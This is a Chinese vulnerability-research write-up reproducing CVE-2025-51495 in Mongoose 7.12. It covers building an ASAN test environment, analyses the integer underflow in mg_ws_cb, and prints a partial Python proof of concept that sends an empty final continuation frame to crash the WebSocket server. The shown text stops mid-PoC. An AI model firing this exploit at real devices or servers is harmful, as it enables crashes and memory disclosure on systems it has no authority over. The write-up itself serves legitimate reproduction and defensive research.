背景
针对某信创打印机固件进行漏洞挖掘时,确认其使用 mongoose 7.12 版本,故先尝试复现一下该版本的已知漏洞 CVE-2025-51495 。
挑战
需要自行构建一个可测试环境,且原仓库没有给出可直接使用的 POC,需要自行构建。
解决过程
测试环境
使用 7.12 版本的 mongoose,git clone 拉取仓库并 git checkout 到 7.12 ,使用 mongoose/examples/websocket-server 官方示例
bashtotal 464-rw-r--r--@ 1 az staff 1.2K Dec 2 16:13 Makefile-rw-r--r--@ 1 az staff 73B Dec 2 16:13 README.md-rwxr-xr-x@ 1 az staff 216K Dec 4 11:38 exampledrwxr-xr-x@ 3 az staff 96B Dec 4 11:38 example.dSYM-rw-r--r--@ 1 az staff 1.8K Dec 2 16:13 main.clrwxr-xr-x@ 1 az staff 16B Dec 2 16:13 mongoose.c -> ../../mongoose.clrwxr-xr-x@ 1 az staff 16B Dec 2 16:13 mongoose.h -> ../../mongoose.h-rw-r--r--@ 1 az staff 1.5K Dec 2 16:13 test.html
修改 Makefile 配置,增加 ASAN 便于后续 POC 测试
# Debug and sanitizer options CFLAGS_DEBUG = -O0 -g3 -ggdb -fno-omit-frame-pointer CFLAGS_ASAN = -fsanitize=address -fsanitize=undefined -fno-sanitize-recover=all CFLAGS_EXTRA_DEBUG = -DDEBUG -DMG_ENABLE_LOG=1 # 同时别忘了把新加的 FLAGS 添加到 build 的$(PROG)里
编译运行:
bashmake clean && makerm -rf example *.o *.obj *.exe *.dSYMcc main.c mongoose.c -W -Wall -Wextra -g -I. -O0 -g3 -ggdb -fno-omit-frame-pointer -fsanitize=address -fsanitize=undefined -fno-sanitize-recover=all -DDEBUG -DMG_ENABLE_LOG=1 -DMG_ENABLE_LINES -o example./exampleexample(25769,0x20361b240) malloc: nano zone abandoned due to inability to reserve vm space.Starting WS listener on ws://localhost:8000/websocket
这样就可以进行后续的测试
漏洞利用
漏洞发生在 mg_ws_cb 函数中,该函数是 Mongoose WebSocket 数据处理的核心回调。关键代码片段如下:
cstatic void mg_ws_cb(struct mg_connection *c, int ev, void *ev_data) {struct ws_msg msg;size_t ofs = (size_t) c->pfn_data; // 当前接收缓冲区偏移:contentReference[oaicite:11]if (ev == MG_EV_READ) {// … 执行 WebSocket 握手等处理 …while (ws_process(c->recv.buf + ofs, c->recv.len - ofs, &msg) > 0) {// 解析到一个 WebSocket 帧,msg.header_len/msg.data_len/msg.flags 可用uint8_t final = msg.flags & 128, op = msg.flags & 15;// 处理非分片帧:如果final&&op非0,会调用事件处理并删除缓冲区数据if (final && op) {// [正常非续帧结束后的清理:删除已处理数据]mg_iobuf_del(&c->recv, ofs, msg.header_len + msg.data_len);ofs = 0; c->pfn_data = NULL;}// 处理分片帧:续帧(opcode=0)if (final == 0 || op == 0) {if (op) {// 第一个片段(带有opcode): 剥离报头并更新 ofsofs++;msg.header_len--;mg_iobuf_del(&c->recv, ofs, msg.header_len);msg.data_len += msg.header_len;ofs += msg.data_len; //<-- 关键:ofs 会增加 payload 长度!c->pfn_data = (void *) ofs;}// 最后一个分片:如果 FIN=1 且 opcode=0,说明这是续帧的最后一片if (final && !op && ofs > 0) {// 构造完整消息,将 buf[1..ofs-1] 作为内容m.flags = c->recv.buf[0];m.data = mg_str_n((char *)&c->recv.buf[1], (size_t)(ofs - 1)); // <-- 下溢点mg_call(c, MG_EV_WS_MSG, &m); // 触发 WS 消息事件mg_iobuf_del(&c->recv, 0, ofs); // 清空缓冲区ofs = 0; c->pfn_data = NULL;}}}}}
其中,ofs = (size_t)c->pfn_data 表示当前缓冲区中已处理的数据长度。在最后一个分片帧处理中(if (final && !op)),代码将缓冲区 c->recv.buf[1..ofs-1] 合并成一个 mg_str 对象,并触发MG_EV_WS_MSG 事件。
代码中使用 (size_t) (ofs - 1) 作为长度参数。如果 ofs 为 0,则:
- ofs - 1 = -1
- 转换为 size_t 后变成 0xFFFFFFFFFFFFFFFF(64位系统)或 0xFFFFFFFF(32位系统):整数下溢(整数溢出)
- 导致 mg_str_n 尝试读取巨大的内存范围,造成越界读取
据此,可以写出测试使用的完整 POC,需要注意两点
- 不需要先发送分片帧,直接发送一个
FIN=1, opcode=0(续帧结束帧) - payload 必须为空 原因如下:
txt当发送 `FIN=1, opcode=0` 的帧时:- 进入 `if (final == 0 || op == 0)` 分支(因为 op==0)- 跳过 `if (op)` 分支(因为 op==0)- 执行 `ofs += len`,其中 `len = payload_length`- **如果 payload 不为空,ofs 会变成 payload 的长度,不会触发下溢**- **只有 payload 为空时,ofs 才保持为 0**
完整 POC 如下:
python#!/usr/bin/env python3"""CVE-2025-51495 PoC - Mongoose WebSocket Integer UnderflowAffected versions: Mongoose 7.5 - 7.17VULNERABILITY ANALYSIS:The bug is in mg_ws_cb() when processing WebSocket fragmented frames.When a continuation frame (FIN=1, opcode=0) with EMPTY payload is receivedWITHOUT any prior fragment, ofs remains 0, causing integer underflow:Code path:1. WebSocket handshake completes: ofs=0, c->pfn_data=NULL2. Receive frame: FIN=1, opcode=0, payload="" (empty)3. Enter: if (final == 0 || op == 0) -> TRUE (op==0)4. Skip: if (op) -> FALSE (op==0)5. Execute: mg_iobuf_del(&c->recv, 0, header_len) - strips header6. Execute: ofs += 0 (payload length is 0) -> ofs stays 07. Enter: if (final && !op) -> TRUE8. Execute: mg_str_n(..., (size_t)(ofs - 1))9. INTEGER UNDERFLOW: (size_t)(0 - 1) = 0xFFFFFFFFFFFFFFFF10. CRASH: When trying to use this huge length valueKEY INSIGHT: The payload MUST be empty! If payload has data, ofs will beupdated to the payload length, preventing the underflow."""import socketimport structimport sysimport time# ConfigurationTARGET_HOST = "127.0.0.1"TARGET_PORT = 8000WS_ENDPOINT = "/websocket"def create_websocket_handshake(host, port, path):"""Create HTTP WebSocket upgrade request"""request = (f"GET {path} HTTP/1.1\r\n"f"Host: {host}:{port}\r\n"f"Upgrade: websocket\r\n"f"Connection: Upgrade\r\n"f"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"f"Sec-WebSocket-Version: 13\r\n"f"\r\n")return request.encode()def create_ws_frame(payload, opcode=1, fin=True, mask=True):"""Create a WebSocket frame according to RFC 6455Args:payload: bytes - frame payload dataopcode: int - 0=continuation, 1=text, 2=binary, 8=close, 9=ping, 10=pongfin: bool - FIN bit (True=final fragment, False=more fragments)mask: bool - whether to mask payload (client->server MUST mask)Returns:bytes - complete WebSocket frame"""frame = bytearray()# Byte 0: FIN (1 bit) + RSV1-3 (3 bits) + Opcode (4 bits)byte0 = opcode & 0x0Fif fin:byte0 |= 0x80 # Set FIN bitframe.append(byte0)# Byte 1+: MASK bit + Payload lengthpayload_len = len(payload)byte1 = 0x80 if mask else 0x00 # MASK bitif payload_len < 126:byte1 |= payload_lenframe.append(byte1)elif payload_len < 65536:byte1 |= 126frame.append(byte1)frame.extend(struct.pack('>H', payload_len))else:byte1 |= 127frame.append(byte1)frame.extend(struct.pack('>Q', payload_len))# Masking key (4 bytes) if maskedif mask:mask_key = b'